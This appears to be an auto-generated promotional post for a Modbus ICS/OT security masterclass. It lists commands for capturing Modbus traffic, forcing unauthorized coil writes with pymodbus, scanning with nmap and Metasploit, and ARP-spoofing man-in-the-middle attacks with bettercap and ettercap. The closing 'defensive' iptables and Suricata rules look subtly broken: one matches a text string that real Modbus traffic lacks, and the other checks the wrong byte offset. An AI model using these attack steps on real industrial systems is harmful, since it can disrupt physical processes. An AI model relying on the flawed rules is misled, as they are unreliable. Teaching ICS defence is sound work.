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This masterclass dives deep into Modbus protocol attacks, a critical topic in ICS/OT Security. The session includes hands-on virtual lab exercises:
✅ Intercept and inspect Modbus traffic
✅ Simulate unauthorized coil/register writes
✅ Perform network enumeration
✅ Launch Man-in-the-Middle (MitM) attacks
✅ Live threat analysis + Q&A
No installations or hardware needed—just a browser.
You Should Know: Practical ICS/OT Security Commands & Techniques
1. Modbus Traffic Inspection (Wireshark & Python)
Capture Modbus traffic with Wireshark:
sudo wireshark -k -i eth0 -Y "modbus"
Or use `tcpdump` for raw capture:
sudo tcpdump -i eth0 -s0 -w modbus.pcap port 502
2. Simulating Unauthorized Modbus Writes (Python)
Use `pymodbus` to manipulate coils:
from pymodbus.client import ModbusTcpClient
client = ModbusTcpClient('192.168.1.100', port=502)
client.write_coil(0, True) Forcefully toggle a coil
3. Network Enumeration (Nmap & Metasploit)
Scan for Modbus-enabled devices:
nmap -p 502 --script modbus-discover 192.168.1.0/24
Metasploit module for Modbus reconnaissance:
use auxiliary/scanner/scada/modbusdetect set RHOSTS 192.168.1.0/24 run
4. Man-in-the-Middle (MitM) Attack (BetterCAP & Ettercap)
ARP spoofing to intercept Modbus traffic:
sudo bettercap -iface eth0 -caplet modbus-spoof.cap
Or with Ettercap:
sudo ettercap -T -M arp -i eth0 /192.168.1.1// /192.168.1.100//
5. Defensive Measures (Firewall & IDS Rules)
Block unauthorized Modbus writes with `iptables`:
sudo iptables -A INPUT -p tcp --dport 502 -m string --string "Modbus Function Code: 5" --algo bm -j DROP
Suricata rule for detecting malicious Modbus traffic:
alert modbus any any -> any 502 (msg:"Suspicious Modbus Write"; content:"|00 05|"; depth:2; sid:1000001;)
What Undercode Say
Modbus remains a high-risk protocol due to its lack of encryption. Attackers exploit weak authentication to manipulate Industrial Control Systems (ICS). Hands-on training like Labshock is crucial for defenders.
Expected Output:
- Attackers can remotely manipulate PLCs via unsecured Modbus.
- Defenders must monitor port 502, enforce strict network segmentation, and use SCADA-aware IDS.
Prediction
As OT/IT convergence grows, Modbus-based attacks will surge, requiring AI-driven anomaly detection in ICS networks.
Join the free masterclass: https://lnkd.in/dseRb_p5
IT/Security Reporter URL:
Reported By: Zakharb Labshock – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
